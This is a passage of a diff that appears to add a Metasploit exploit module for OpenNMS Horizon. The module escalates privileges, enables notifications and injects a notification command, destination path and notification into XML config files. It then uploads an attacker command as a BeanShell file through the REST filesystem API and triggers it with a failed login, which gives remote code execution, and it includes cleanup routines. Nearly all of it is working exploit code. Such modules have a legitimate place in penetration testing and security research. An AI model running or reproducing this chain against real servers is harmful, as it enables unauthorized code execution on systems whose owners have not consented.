comparison with a non-routable IP, which will always work (see RFC 5737) + rule = xml_doc.create_element('rule', "IPADDR != '192.0.2.#{rand(0..255)}'") + destination_path = xml_doc.create_element('destinationPath', @destination_path_name) + text_message = xml_doc.create_element('text-message', notification_message) + notification.add_child(uei) + notification.add_child(rule) + notification.add_child(destination_path) + notification.add_child(text_message) + xml_doc.at_css('notifications').add_child(notification) + + xml_doc + end + + # This method is used to remove an element from an XML configuration file + # + # @param file_name [String] The name of the file to remove the element from + # @param root_element [String] The name of the root element in the XML file + # @param element [String] The name of the element to remove from the XML file + # @param element_to_remove [String] The name of the element to remove from the XML file + def revert_xml_config_file(file_name, root_element, element, element_to_remove) + # First we need to get the current #{file_name} file, so we can remove our #{element_name} from it + success, xml_doc_or_msg = grab_and_parse_xml_config_file(file_name, root_element, element, 'cleanup') + unless success + print_error(xml_doc_or_msg) + return + end + + begin + if find_element_via_at_css(file_name) + full_element = xml_doc_or_msg.at_css(root_element).css(element).find { |e| e.at_css('name')&.text == element_to_remove } + else + full_element = xml_doc_or_msg.at_css(root_element).css(element).find { |e| e['name'] == element_to_remove } + end + + unless full_element.present? + print_error("Failed to remove #{element_to_remove} from #{file_name}. Manual cleanup is required") + return + end + + full_element.remove + rescue Nokogiri::XML::SyntaxError + print_error("Failed to parse the #{file_name} file while attempting to remove #{element_to_remove}. Manual cleanup is required.") + return + end + + # generate post data + post_data = generate_post_data(file_name, xml_doc_or_msg.to_xml(indent: 3)) + + success, message = upload_xml_config_file(file_name, post_data, 'cleanup') + unless success + print_error(message) + return + end + + # Get the #{file_name} file again to make sure our #{element_name} was removed + success, xml_doc_or_msg = grab_and_parse_xml_config_file(file_name, root_element, element, 'cleanup') + unless success + print_error(xml_doc_or_msg) + return + end + + # Check if our #{element_name} was removed + if xml_doc_or_msg.at_css(root_element).css(element).map { |e| e.at_css('name')&.text }.include?(element_to_remove) + print_error("Failed to remove #{element_to_remove} from #{file_name}. Manual cleanup is required.") + else + vprint_status("Successfully removed #{element_to_remove} from #{file_name}") + end + end + + # This method is used to trigger a reload of the OpenNMS configuration + # + # @param mode [String] The mode to use: exploit or cleanup + # @return [Array] An array containing a boolean and a message + def update_configuration(mode) + # We need to update the configuration in order for our changes to take effect + xml_doc = Nokogiri::XML::Builder.new do |xml| + xml.event('xmlns' => 'http://xmlns.opennms.org/xsd/event') do + xml.uei('uei.opennms.org/internal/reloadDaemonConfig') + xml.source('perl_send_event') + xml.time(Time.now.strftime('%Y-%m-%dT%H:%M:%S%:z')) + xml.host(Rex::Text.rand_text_alpha(8..12)) + xml.parms do + xml.parm do + xml.parmName('daemonName') + xml.value('Notifd', { 'type' => 'string', 'encoding' => 'text' }) + end + end + end + end + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'rest', 'events'), + 'ctype' => 'application/xml', + 'keep_cookies' => true, + 'data' => xml_doc.to_xml(indent: 3) + }) + + unless res + message = 'Connection failed while attempting to update the configuration.' + message += ' The cleanup changes have not been applied, but will be at the next config reload.' if mode == 'cleanup' + return deal_with_failure_by_mode(mode, message, 'disconnected') + end + + unless res.code == 202 + message = 'Received unexpected response while attempting to update the configuration.' + message += ' The cleanup changes have not been applied, but will be at the next config reload.' if mode == 'cleanup' + return deal_with_failure_by_mode(mode, message, 'unexpected_reply') + end + + [true, 'Successfully updated the configuration'] + end + + # This method is used to write the payload to a .bsh file and trigger the notification + # + # @param cmd [String] The command to execute + def write_payload_to_bsh_file(cmd) + # We need to write our payload to a .bsh file so that it can be executed by the notification command + + post_data = generate_post_data(@payload_file_name, cmd) + + res1 = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'), + 'vars_get' => { 'f' => @payload_file_name }, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'keep_cookies' => true, + 'data' => post_data.to_s + }) + + unless res1 + fail_with(Failure::Disconnected, 'Connection failed while attempting to upload the payload file') + end + + unless res1.code == 200 && res1.body.include?('Successfully wrote to') + fail_with(Failure::UnexpectedReply, 'Failed to upload the payload file') + end + + # Get the payload file again to make sure it was uploaded successfully + res2 = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'), + 'vars_get' => { 'f' => @payload_file_name }, + 'keep_cookies' => true + }) + + unless res2 + fail_with(Failure::Disconnected, 'Connection failed while attempting to obtain the current payload file') + end + + unless res2.code == 200 && res2.body == cmd + fail_with(Failure::UnexpectedReply, 'Failed to verify that the payload file was successfully uploaded') + end + + print_good("Successfully uploaded the payload to #{@payload_file_name}") + @payload_written = true + end + + def execute_command(cmd, _opts = {}) + # Write the payload to a .bsh file + write_payload_to_bsh_file(cmd) + + print_status('Triggering the notification to execute the payload') + # Trigger the notification by performing a login attempt using random credentials + success, message = opennms_login('exploit', perform_invalid_login: true) + if success + print_status(message) + else + print_error(message) + end + end + + # Horizon installs with notifications globally disabled by default. This exploit depends on notification being enabled + # in order to obtain RCE. If notifications are disabled a user with administrative privileges is able to turn them on. + # https://docs.opennms.com/horizon/30/operation/notifications/getting-started.html + def ensure_notifications_enabled + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.jsp'), + 'keep_cookies' => true + }) + fail_with(Failure::UnexpectedReply, 'Failed to determine if notifications were enabled') unless res + + if res.get_html_document.xpath('//i[contains(@title, \'Notices: On\')]').empty? + vprint_status('Notifications are not enabled, meaning the target is not exploitable as is. Enabling notifications now...') + res2 = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'updateNotificationStatus'), + 'keep_cookies' => true, + 'vars_post' => { + 'status' => 'on' + } + }) + fail_with(Failure::UnexpectedReply, 'Failed to enable notifications') unless res2 && res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp') + end + vprint_good('Notifications are enabled') + end + + def exploit + # Check if we need to escalate privileges + if @highest_priv && @highest_priv != 'GOD' + # This is not performed if the user has set FORCEEXPLOIT to true. In that case we'll just start the exploit chain and hope for the best. + _success, msg = escalate_or_deescalate_privs + print_good(msg) if msg.present? # _success will always be true here, otherwise we would have failed already + end + # Let's make sure we have a valid session by clearing the cookie jar and logging in again + # This will also ensure that any new privileges we may have added are applied + cookie_jar.clear + _success, message = opennms_login('exploit') + vprint_status(message) # _success will always be true here, otherwise we would have failed already + + # Check to ensure Notifications are turned on. If they are disabled, enable them. + ensure_notifications_enabled + + # Generate a random payload file name + @payload_file_name = "#{Rex::Text.rand_text_alpha(8..12)}.bsh".downcase + + # Add a notification command + edit_xml_config_file(notification_commands_file, 'notification-commands', 'command') + + # Add a destination path + edit_xml_config_file(destination_paths_file, 'destinationPaths', 'path') + + # Add a notification + edit_xml_config_file(notifications_file, 'notifications', 'notification') + + # Update the configuration changes we made + update_configuration('exploit') + + # Write the payload and trigger the notification + execute_command(payload.encoded) + end + + def cleanup + return if [@payload_file_name, @notification_name, @destination_path_name, @notification_command_name, @role_to_add].all?(&:blank?) + + print_status('Attempting cleanup...') + # to be on the safe side, we'll clear the cookie jar and log in again + cookie_jar.clear + success, message = opennms_login('cleanup') + if success + vprint_status(message) + else + print_error(message) + return + end + + # Delete the payload file + if @payload_file_name.present? && @payload_written + res = send_request_cgi({ + 'method' => 'DELETE', + 'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'), + 'vars_get' => { 'f' => @payload_file_name }, + 'keep_cookies' => true + }) + + unless res + print_error("Connection failed while attempting to delete the payload file #{@payload_file_name}. Manual cleanup is required.") + return + end + + unless res.code == 200 && res.body.include?('Successfully deleted') + print_error("Failed to delete the payload file #{@payload_file_name}. Manual cleanup is required.") + return + end + + vprint_good("Successfully deleted the payload file #{@payload_file_name}") + end + + # Delete the notification + revert_xml_config_file(notifications_file, 'notifications', 'notification', @notification_name) if @notification_name.present? + + # Delete the destination path + revert_xml_config_file(destination_paths_file, 'destinationPaths', 'path', @destination_path_name) if @destination_path_name.present? + + # Delete the notification command + revert_xml_config_file(notification_commands_file, 'notification-commands', 'command', @notification_command_name) if @notification_command_name.present? + + # Update the configuration changes we made + success, message = update_configuration('cleanup') + if success + vprint_status(message) + else + print_error(message) + end + + # Revert the privilege escalation if necessary + if @role_to_add.present? + success, message = escalate_or_deescalate_privs(deescalate: true) + if success + vprint_status(message) + else + print_error(message) + end + end + end +end